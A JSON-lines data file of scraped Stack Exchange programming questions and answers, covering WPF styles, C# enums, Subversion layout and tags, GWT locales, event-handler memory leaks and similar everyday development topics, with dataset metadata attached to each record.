"category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.411624"}
{"id": "hf_8eac181b771d", "question": "<p>In WPF, how would I apply multiple styles to a <code>FrameworkElement</code>?  For instance, I have a control which already has a style.  I also have a separate style which I would like to add to it without blowing away the first one.  The styles have different TargetTypes, so I can't just extend one with the other.</p>\n", "question_body": "", "answer": "But you can extend from another.. take a look at the BasedOn property\n```\n```\n<Style TargetType=\"TextBlock\">\n      <Setter Property=\"Margin\" Value=\"3\" />\n</Style>\n\n<Style x:Key=\"AlwaysVerticalStyle\" TargetType=\"TextBlock\" \n       BasedOn=\"{StaticResource {x:Type TextBlock}}\">\n     <Setter Property=\"VerticalAlignment\" Value=\"Top\" />\n</Style>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.482085"}
{"id": "hf_aab64e60f5a2", "question": "<p>Here is the scenario that I have. I have a cvs repository in one location (A) and I want to replicate it and keep it in sync with a repository in another location(B). This would be a single directional sync from A to B. What is the best way to do this? If it is not really feasible in CVS then which source code control system would you recommend to accomplish this? Thanks</p>\n", "question_body": "", "answer": "When using CVS, I don't know any tools to do that other than files syncing. You can achieve that using tools like\n```\nrsync\n```\n(Unix) or\n```\nxcopy\n```\n/\n```\nrobocopy\n```\n(Windows).\nIf you plan on migrating to Subversion, it provides a tool called svnsync that allows to sync a repository from another one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.505548"}
{"id": "hf_2f24a5398e99", "question": "<p>What's the best way to convert a string to an enumeration value in C#?</p>\n<p>I have an HTML select tag containing the values of an enumeration. When the page is posted, I want to pick up the value (which will be in the form of a string) and convert it to the corresponding enumeration value.</p>\n<p>In an ideal world, I could do something like this:</p>\n<pre><code>StatusEnum MyStatus = StatusEnum.Parse(&quot;Active&quot;);\n</code></pre>\n<p>but that isn't a valid code.</p>\n", "question_body": "", "answer": "You're looking for\nEnum.Parse\n.\n```\n```\nSomeEnum enum = (SomeEnum)Enum.Parse(typeof(SomeEnum), \"EnumValue\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.529055"}
{"id": "hf_cd2035e9c8fa", "question": "<p>I have a user that want to be able to select a textbox and have the current text selected so that he doesn't have to highlight it all in order to change the contents.  </p>\n\n<p>The contents need to be handle when enter is pushed.  That part I think I have figured out but any suggestions would be welcome. </p>\n\n<p>The part I need help with is that once enter has been pushed, any entry into the textbox should clear the contents again.</p>\n\n<p><strong>Edit:</strong> The textbox controls an piece of RF hardware.  What the user wants to be able to do is enter a setting and press enter.  The setting is sent to the hardware.  Without doing anything else the user wants to be able to type in a new setting and press enter again.</p>\n", "question_body": "", "answer": "OK, are you sure that is wise? I am picturing two scenarios here:\nThere is a default button on the form, which is \"clicked\" when enter is pushed\".\nThere is no default button, and you want the user to have to press enter, regardless.\nBoth of these raise the same questions:\nIs there any validation that is taking place on the text?\nWhy not create a user control to encapsulate this logic?\nIf you know the enter button is being pushed and consumed fine, how are you having problems with\nTextBoxName.Text = string.Empty\n?\nAlso, as a polite note, can you please try and break up your question a bit? One big block is a bit of a pain to read..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.558640"}
{"id": "hf_a185444b0437", "question": "<p>I've seen these words a lot around Subversion (and I guess general repository) discussions.<br>\nI have been using <strong>SVN</strong> for my projects for the last few years, but I've never grasped the complete concept of these directories.</p>\n\n<p>What do they mean?</p>\n", "question_body": "", "answer": "In SVN a tag and branch are really similar.\nTag\n= a defined slice in time, usually used for releases\nBranch\n= also a defined slice in time that development can continue on, usually used for major version like 1.0, 1.5, 2.0, etc, then when you release you tag the branch.  This allows you to continue to support a production release while moving forward with breaking changes in the trunk\nTrunk\n= development work space, this is where all development should happen, and then changes merged back from branch releases.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.619127"}
{"id": "hf_fa4ab4271c47", "question": "<p>I have a custom action in a workflow and would like to report an error to the user when something goes wrong.  What's the best way of doing that?</p>\n\n<p><strong>UPD:</strong> Ideally I would like to put the workflow in the error state and log a message to the workflow log.  That doesn't seem possible.  What's the closest I can get to it? I want to a reusable solution,something that's easy for users to set up when using my custom action in SharePoint Designer.</p>\n\n<hr>\n\n<p>Added more details to the question.</p>\n\n<p>@mauro that takes care of storing the error, but how do I display the error to the user in a way which makes sense?</p>\n\n<p>@AdamSane That's seems like a rather fragile solution.  It's not a matter of setting this up once on a single site.  I need something others can add using SPD.</p>\n", "question_body": "", "answer": "Add the error to a hidden list with that users name. Set the visibility on the list (for users) to only read/write their own values. Then use a custom web part or FlexListViewer to view the contents of that list and display it to the user. Once they acknowledge that error, remove it from the list.\nIf necessary, you can add a different workflow action on that message list, that says pause for 2 days and then email. Whatever, depending on your requirements.\nOtherwise you can have a custom db table that you use for pretty much the same thing, this way sharepoint does most of the work for you.\nUpdate\nThis can be packaged up as a feature and deployed to each site as needed. The strengths of this approach (adding a list item to a list, querying, alerting a user, and emailing a user) are all built into the sharepoint itself. In this case you can focus on your custom logic only, while letting sharepoint focus on the implementation details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.643404"}
{"id": "hf_dcb4e7819296", "question": "<p>I need to programatically determine whether .NET 3.5 is installed. I thought it would be easy:</p>\n\n<pre><code>&lt;% Response.Write(Environment.Version.ToString()); %&gt;\n</code></pre>\n\n<p>Which returns \"2.0.50727.1434\" so no such luck...</p>\n\n<p>In my research I have that there are some rather obscure registry keys I can look at but I'm not sure if that is the route to go. Does anyone have any suggestions?</p>\n", "question_body": "", "answer": "That is because technically .NET 3.5 is an extension of the 2.0 framework.  The quickest way is to include an assembly from .NET 3.5 and see if it breaks.\n```\n```\nSystem.Web.Extensions\n```\n```\nIs a good assembly that is only included in version 3.5.  Also it seems that you are using ASP.NET to run this check, this really limits you because you will be unable to check the file system or the registry running in the protected mode of ASP.NET.  Or you can always problematically try loading an assembly from the GAC that should only be in .NET 3.5, however you may run in to problems with permissions again.\nThis may be one of those times where you ask your self \"What am I trying to accomplish?\" and see if there are alternative routes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.720572"}
{"id": "hf_13f9e8c1ea36", "question": "<p>I'd like to implement a way of recording the version of a project within code, so that it can be used when testing and to help track bugs. \nIt seems the best version number to use would just be the current revision number from Subversion. Is there an easy way to hook this number into a (C++ in my case) header file or something, which I can then get at in code? I guess this is a post commit hook or something?</p>\n\n<p>Does anyone have any experience of implementing this (with code to share, please?), or can suggest a better alternative?\nThanks.</p>\n", "question_body": "", "answer": "You can use the\n```\nsvn:keywords\n```\nproperty to enable the\n```\nRev\n```\nkeyword.\nYou can then use\n```\n$Rev$\n```\nin your code and SVN will expand it automatically when updating to\n```\n$Rev: 256 $\n```\nwhich can then parse...\nMore info on the Subversion manual", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.781968"}
{"id": "hf_353256226623", "question": "<p>What would be the easiest way to separate the directory name from the file name when dealing with <code>SaveFileDialog.FileName</code> in C#?</p>\n", "question_body": "", "answer": "Since the forward slash is not allowed in the filename, one simple way is to divide the SaveFileDialog.Filename using String.LastIndexOf; for example:\n```\n```\nstring filename = dialog.Filename;\nstring path = filename.Substring(0, filename.LastIndexOf(\"\\\"));\nstring file = filename.Substring(filename.LastIndexOf(\"\\\") + 1);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.831384"}
{"id": "hf_ecde8d022ea4", "question": "<p>I'm aware of some of the test data generators out there, but most seem to just fill name and address style databases [feel free to correct me].</p>\n\n<p>We have a large integrated and normalised application - e.g. invoices have part numbers linked to stocking tables, customer numbers linked to customer tables, change logs linked to audit information, etc which are obviously difficult to fill randomly. Currently we obfuscate real life data to get test data (but not very well).</p>\n\n<p>What tools\\methods do you use to create large volumes of data to test with?</p>\n", "question_body": "", "answer": "Where I work we use\nRedGate Data Generator\nto generate test data.\nSince we work in the banking domain. When we have to work with nominative data (Credit card numbers, personnal ID, phone numbers) we developed an application that can\nmask\nthese database fields so we can work with them as real data.\nI can say with Redgate you can get close to what your real data can look like on a production server since you can customize every field of every table in your BD.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.855544"}
{"id": "hf_ef045375719a", "question": "<p>I've seen projects where the classes in the DB layer have just static functions in them and other projects where those classes need to be instantiated to get access to the member functions. </p>\n\n<blockquote>\n  <p>Which is \"better\" and why?</p>\n</blockquote>\n", "question_body": "", "answer": "It's all about the purpose of the DB Layer.\nIf you use an instance to access the DB layer, you are allowing multiple versions of that class to exist. This is desirable if you want to use the same DB layer to access multiple databases for example.\nSo you might have something like this:\n```\n```\nDbController acrhive = new DbController(\"dev\");\nDbController prod = new DbController(\"prod\");\n```\n```\nWhich allows you to use multiple instances of the same class to access different databases.\nConversely you might want to allow only one database to be used within your application at a time. If you want to do this then you could look at using a static class for this purpose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.883251"}
{"id": "hf_cc52d01848b6", "question": "<p>If you had to provide a wizard like form entry experience in mvc how would you abstract the page flow?</p>\n", "question_body": "", "answer": "There are a couple ways, create an action for each step of the wizard process, or create a parameter that is passed in to the action method.  Like\nstep\nthat will allow you to know what the state of the wizard is in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.931888"}
{"id": "hf_572857bf76fd", "question": "<p>Starting with 2005, VS started this behavior of when starting debugging session it spawns up a webserver for every project in a solution.  I have a solution with 15 projects so it takes a while and is a waste of resources.  Is there a way to configure it differently besides just using IIS?</p>\n", "question_body": "", "answer": "Some details here on why it does it and how you can overcome it:\nhttp://vishaljoshi.blogspot.com/2007/12/tips-tricks-start-up-options-and.html\nThere are instances when you might have many web applications or web sites in the same solution and you may be actually debugging only one of them...  In such scenario it might not be desirable to have multiple instances of ASP.NET Development Server running...  VS provides an explicit setting in the property grid of web application/site called Development Web Server - \"Always Start When Debugging\" which is set to True by default...  If you set this Property to be False only one web server instance will be created for the start up web project...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:47.967447"}
{"id": "hf_71b3f52d492f", "question": "<p>I have a bunch of files that I need to be able to <em>transport</em> and <em>install</em> quickly. My current method for doing so is moving a flash drive with a readme file of where stuff goes whenever I need to move stuff, which is rather inelegant and cumbersome.</p>\n\n<p>My idea for a solution would be to write up a quick script to move files around that I could just click on. I've done some <strong><em>bash</em></strong> scripting before but <strong><em>batch</em></strong> scripting is a little odd to me. Does anyone have a good online reference guide I could use?</p>\n\n<p>An alternative soulution I could accept would be a program that makes an installer for you, though I'm a bit against that as I would lose a lot of control. However, I'd be alright with it if it was extremely simple,</p>\n", "question_body": "", "answer": "Sounds like\n```\nrobocopy\n```\ntool is exactly what you need.\nVery\npowerful\nreplication command-line tool.\nMS TechNet reference\n,\nWikipedia article\nabout\n```\nrobocopy\n```\n,\nFull command switch\nguide\n,\nBatch scripting\nguide\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.003284"}
{"id": "hf_8d40a101f843", "question": "<p>Let's say that you want to output or concat strings. Which of the following styles do you prefer?</p>\n\n<ul>\n<li><p><code>var p = new { FirstName = \"Bill\", LastName = \"Gates\" };</code></p></li>\n<li><p><code>Console.WriteLine(\"{0} {1}\", p.FirstName, p.LastName);</code></p></li>\n<li><p><code>Console.WriteLine(p.FirstName + \" \" + p.LastName);</code></p></li>\n</ul>\n\n<p>Do you rather use format or do you simply concat strings? What is your favorite? Is one of these hurting your eyes?</p>\n\n<p>Do you have any rational arguments to use one and not the other?</p>\n\n<p>I'd go for the second one.</p>\n", "question_body": "", "answer": "Personally, the second one as everything you are using is in the direct order it will be output in.  Whereas with the first you have to match up the {0} and {1} with the proper var, which is easy to mess up.\nAt least it's not as bad as the C++ sprint where if you get the variable type wrong the whole thing will blow up.\nAlso, since the second is all inline and it doesn't have to do any searching and replacing for all the {0} things, the latter should be faster... though I don't know for sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.065142"}
{"id": "hf_b9dc05f929ac", "question": "<p>Are there any good online resources for how to create, maintain and think about writing test routines for numerical analysis code?</p>\n\n<p>One of the limitations I can see for something like testing matrix multiplication is that the obvious tests (like having one matrix being the identity) may not fully test the functionality of the code.</p>\n\n<p>Also, there is the fact that you are usually dealing with large data structures as well. Does anyone have some good ideas about ways to approach this, or have pointers to good places to look?</p>\n", "question_body": "", "answer": "Check out a book by\nDavid Gries\ncalled\nThe Science of Programming\n. It's about proving the correctness of programs. If you want to be sure that your programs are correct (to the point of proving their correctness), this book is a good place to start.\nProbably not exactly what you're looking for, but it's the computer science answer to a software engineering question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.089596"}
{"id": "hf_562b533f4d37", "question": "<p>Is it possible (in Vb.Net 2005), without manually parsing the dataset table properties, to create the table and add it to the database?</p>\n\n<p>We have old versions of our program on some machines, which obviously has our old database, and we are looking for a way to detect if there is a missing table and then generate the table based on the current status of the table in the dataset.  We were re-scripting the table every time we released a new version (if new columns were added) but we would like to avoid this step if possible.</p>\n", "question_body": "", "answer": "See this MSDN Forum Post:\nCreating a new Table in SQL Server from ADO.net DataTable\n.\nHere the poster seems to be trying to do the same thing as you, and provides code that generates a Create Table statement using the schema contained in a DataTable.\nAssuming this works as it should, you could then take that code, and submit it to the database through\n```\nSqlCommand.ExecuteNonQuery()\n```\nin order to create your table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.113598"}
{"id": "hf_395dc18055ca", "question": "<p>I'm using <code>ColdFusion</code> to return a result set from a SQL database and turn it into a list.</p>\n\n<p>I need some way to generate an alphabetical navigation bar for that list.  I have ColdFusion and the jQuery library available.</p>\n\n<p>I'm looking to generate something like this:</p>\n\n<pre><code>A | B | C | ...      \n- A\n- A\n- B\n- B\n- B\n- C\n- D\n</code></pre>\n\n<p>Where clicking on one of the letters drops you down the page to the first item for that letter.  Not all 26 letters of the alphabet are necessarily in use.</p>\n", "question_body": "", "answer": "I would get the SQL result set to return the list in the first place, you can easily just take the first letter of the required item, and a count.  The quickest way would be to do a join on a table of 26 characters (less string manipulation that way).\nIn CF use the count value to ensure that if there is no result you either only display the letter (as standard text) or dont display it at all.\nHow many rows are you going to be working on as there may be better ways of doing this.  For example, storing the first letter of your required link field in a separate column on insert would reduce the overhead when selecting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.161954"}
{"id": "hf_ce5c214ce08d", "question": "<p>Say we have the following method:</p>\n\n<pre><code>private MyObject foo = new MyObject();\n\n// and later in the class\n\npublic void PotentialMemoryLeaker(){\n  int firedCount = 0;\n  foo.AnEvent += (o,e) =&gt; { firedCount++;Console.Write(firedCount);};\n  foo.MethodThatFiresAnEvent();\n}\n</code></pre>\n\n<p>If the class with this method is instantiated and the <code>PotentialMemoryLeaker</code> method is called multiple times, do we leak memory?</p>\n\n<p>Is there any way to unhook that lambda event handler after we're done calling <code>MethodThatFiresAnEvent</code>?  </p>\n", "question_body": "", "answer": "Yes, save it to a variable and unhook it.\n```\n```\nDelegateType evt = (o, e) => { firedCount++; Console.Write(firedCount); };\nfoo.AnEvent += evt;\nfoo.MethodThatFiresAnEvent();\nfoo.AnEvent -= evt;\n```\n```\nAnd yes, if you don't, you'll\nleak\nmemory, as you'll hook up a new delegate object each time. You'll also notice this because each time you call this method, it'll dump to the console an increasing number of lines (not just an increasing number, but for one call to MethodThatFiresAnEvent it'll dump any number of items, once for each hooked up anonymous method).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.198106"}
{"id": "hf_d09730ed8170", "question": "<p>For a person without a comp-sci background, what is a lambda in the world of Computer Science?</p>\n", "question_body": "", "answer": "It refers to\nlambda calculus\n, which is a formal system that just has lambda expressions, which represent a function that takes a function for its sole argument and returns a function. All functions in the lambda calculus are of that type, i.e.,\n```\nλ : λ → λ\n```\n.\nLisp used the lambda concept to name its anonymous function literals. This lambda represents a function that takes two arguments, x and y, and returns their product:\n```\n```\n(lambda (x y) (* x y))\n```\n```\nIt can be applied in-line like this (evaluates to\n50\n):\n```\n```\n((lambda (x y) (* x y)) 5 10)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.258356"}
{"id": "hf_af7612246a74", "question": "<p>I've been developing a \"Form Builder\" in Javascript, and coming up to the part where I'll be sending the spec for the form back to the server to be stored. The builder maintains an internal data structure that represents the fields, label, options (for select/checkbox/radio), mandatory status, and the general sorting order of the fields.</p>\n\n<p>When I want to send this structure back to the server, which format should I communicate it with?</p>\n\n<p>Also, when restoring a server-saved form back into my Javascript builder, should I load in the data in the same format it sent it with, or should I rebuild the fields using the builder's <code>createField()</code> functions?</p>\n", "question_body": "", "answer": "I'd implement some sort of custom\n```\ntext serialization\n```\nand transmit plain text. As you say, you can rebuild the information doing the reversed process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.283016"}
{"id": "hf_c93d76628d2d", "question": "<p>I am a broke college student. I have built a small web app in PHP5 and MySQL, and I already have a domain. What is an affordable way to get it online? A few people have suggested amazon's cloud services, but that seems equivalent to slitting my wrists and watching money slowly trickle out. So suggestions? Hosting companies, CIA drop sites, anything?</p>\n\n<p><strong>Update:</strong> A lot of suggestions have been for Dreamhost. Their plan allows for 5TB of bandwidth. Could anyone put this in perspective? For instance, how much bandwidth does a site with the kind of traffic StackOverflow get? </p>\n", "question_body": "", "answer": "I use and recommend\nDreamHost\nfor both their prices and customer service.  I've hosted several sites here and performance has always been good.  $5.95 a month for their basic package.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.457990"}
{"id": "hf_0b0a6c0da080", "question": "<p>In GWT I have to specify what locales are supported in my application. The code get compiled in various files, one for each locale (beside other versions), but I have to give my clients one only URL. This URL is supposed to be a page that should be displayed according to the locale preferred by the browser.\nI dont't want to have an HTTP parameter for the locale since I want to forse the locale preferred by the browser.\nHow can this be coded in GWT?</p>\n\n<p>Should I try to to this using apache rewrite rules? I thied it, but I think I cannot access such parameter easely in a rewrite rule.</p>\n\n<p>Thanks a lot,\nGiuseppe</p>\n", "question_body": "", "answer": "Unless I am reading the documentation incorrectly I don't think you have to do anything.\nGWT and Locale\nBy making locale a client property, the standard startup process in gwt.js  chooses the appropriate localized version of an application, providing ease of use (it's easier than it might sound!), optimized performance, and minimum script size.\nThe way I read it, as long as your module has added all the locale choices to it, it should be automatic?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.520972"}
{"id": "hf_cd50cf054f24", "question": "<p>I am building a public website using ASP.NET, as part of the deliverable I need to do an Admin Site for data entry of the stuff shown in the public site, I was wondering what techniques or procedures are people using to validate entries using ASP.NET MVC.</p>\n", "question_body": "", "answer": "Take a look at the\nJQuery Validation plugin\nthis plugin is amazing,it's clean to implement and has all the features you could ever need, including remote validation via AJAX.\nAlso a sample MVC controller method can be found\nhere\nwhich basically uses the JsonResult action type like:\n```\n```\npublic JsonResult CheckUserName(string username)\n{\n    return Json(CheckValidUsername(username));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.543791"}
{"id": "hf_c275abacaa42", "question": "<p>I'm trying to fully understand all of Haskell's concepts.</p>\n\n<p>In what ways are algebraic data types similar to generic types, e.g., in C# and Java? And how are they different? What's so algebraic about them anyway? </p>\n\n<p>I'm familiar with universal algebra and its rings and fields, but I only have a vague idea of how Haskell's types work.</p>\n", "question_body": "", "answer": "\"Algebraic Data Types\" in Haskell support\nfull parametric polymorphism\n, which is the more technically correct name for generics, as a simple example the list data type:\n```\n```\ndata List a = Cons a (List a) | Nil\n```\n```\nIs equivalent (as much as is possible, and ignoring non-strict evaluation, etc) to\n```\n```\nclass List<a> {\n     class Cons : List<a> {\n         a head;\n         List<a> tail;\n     }\n     class Nil : List<a> {}\n }\n```\n```\nOf course Haskell's type system allows more ... interesting use of type parameters but this is just a simple example.  With regards to the \"Algebraic Type\" name, i've honestly never been entirely sure of the exact reason for them being named that, but have assumed that it's due the mathematical underpinnings of the type system.  I\nbelieve\nthat the reason boils down to the theoretical definition of an ADT being the \"product of a set of constructors\", however it's been a couple of years since i escaped university so i can no longer remember the specifics.\n[Edit: Thanks to Chris Conway for pointing out my foolish error, ADT are of course sum types, the constructors providing the product/tuple of fields]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.578488"}
{"id": "hf_ee185fc2e33d", "question": "<p>It seems like the only way to do this is to pass the -i parameter in when you initially run less. Does anyone know of some secret hack to make something like this work</p>\n\n<pre><code>/something to search for/i\n</code></pre>\n", "question_body": "", "answer": "You can also type command\n```\n-I\n```\nwhile less is running. It toggles case sensitivity for searches.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.661031"}
{"id": "hf_af43778b85a2", "question": "<p>I know there are at least 10 different ways to structure project in version control. I'm curious what some methods being used are and which ones work for you.  I've worked with SVN, TFS, and currently/unfortunately VSS.  I've seen version control implemented very poorly and just OK, but never great.</p>\n\n<p>Just to get the ball rolling, here is a review of things I've seen.</p>\n\n<p>This example is SVN-based, but applies to most VCS's (not so much to distributed version control).</p>\n\n<ol>\n<li><p>branch the individual projects that are part of site\n/division/web/projectName/vb/src/[trunk|branches|tags]</p></li>\n<li><p>branch the whole site, in the case I've seen, the whole site except for core components was branched.\n/division/[trunk|branches|tags]/web/projectName/vb/src/</p></li>\n<li><p>Use main-line a default, only branch when necessary for <strong>huge</strong> changes.</p></li>\n</ol>\n", "question_body": "", "answer": "Example for SVN:\ntrunk/\nbranch/\ntags/\nThe trunk should be kept at a point where you can always push a release from it. There should be no huge gaping bugs that you know about(of course there will be eventually but that is what you should strive for).\nEvery time you need to make a new feature, do a design change, whatever, branch. Tag that branch at the start. Then when you are finished with the branch tag it at the end. This helps out with merging back into trunk.\nEvery time you need to push a release, tag. This way if something goes horribly wrong you can rollback to the previous release.\nThis setup keeps trunk as clean as possible and allows you to make quick bug fixes and push them out while keeping the majority of your development in branches.\nEdit:\nFor 3rd party stuff it depends. If I can avoid it I do not have it under source control. I keep it in a directory outside source control and include it from there. For things like jquery, I do leave it under source control. The reason is it simplifies my script for pushing. I can simply have it do an svn export and rsync.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.684744"}
{"id": "hf_d94f03e840ce", "question": "<p>I am looking for a lightweight source control system for use on \"hobby\" projects with only one person (myself) working on the project. Does anyone have any suggestions? Ideally it should interface with Visual Studio either naively or through another plug-in, outside of that, anything that works would be nice to be replace Gmail as source control.</p>\n", "question_body": "", "answer": "Hobby or Serious project,\nSVN 1-Click Setup\n(\ndownload\n```\nSvn1ClickSetup-1.3.3.exe\n```\n) gives you all you need with ease :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.709180"}
{"id": "hf_a64439588c73", "question": "<blockquote>\n<p>Unit testing is, roughly speaking, testing bits of your code in isolation with test code. The immediate advantages that come to mind are:</p>\n<ul>\n<li>Running the tests becomes automate-able and repeatable</li>\n<li>You can test at a much more granular level than point-and-click testing via a GUI</li>\n</ul>\n<p><a href=\"https://stackoverflow.com/questions/1383/what-is-unit-testing\">Rytmis</a></p>\n</blockquote>\n<p>My question is, what are the current &quot;best practices&quot; in terms of tools as well as when and where to use unit testing as part of your daily coding?</p>\n<p>Lets try to be somewhat language agnostic and cover all the bases.</p>\n", "question_body": "", "answer": "The xUnit family are the mainstay of unit testing. They are integrated into the likes of Netbeans, Eclipse and many other IDEs. They offer a simple, structured solution to unit testing.\nOne thing I always try and do when writing a test is to minimise external code usage. By that I mean: I try to minimise the setup and teardown code for the test as much as possible and try to avoid using other modules/code blocks as much as possible. Well-written modular code shouldn't require too much external code in it's setup and teardown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:48.745494"}
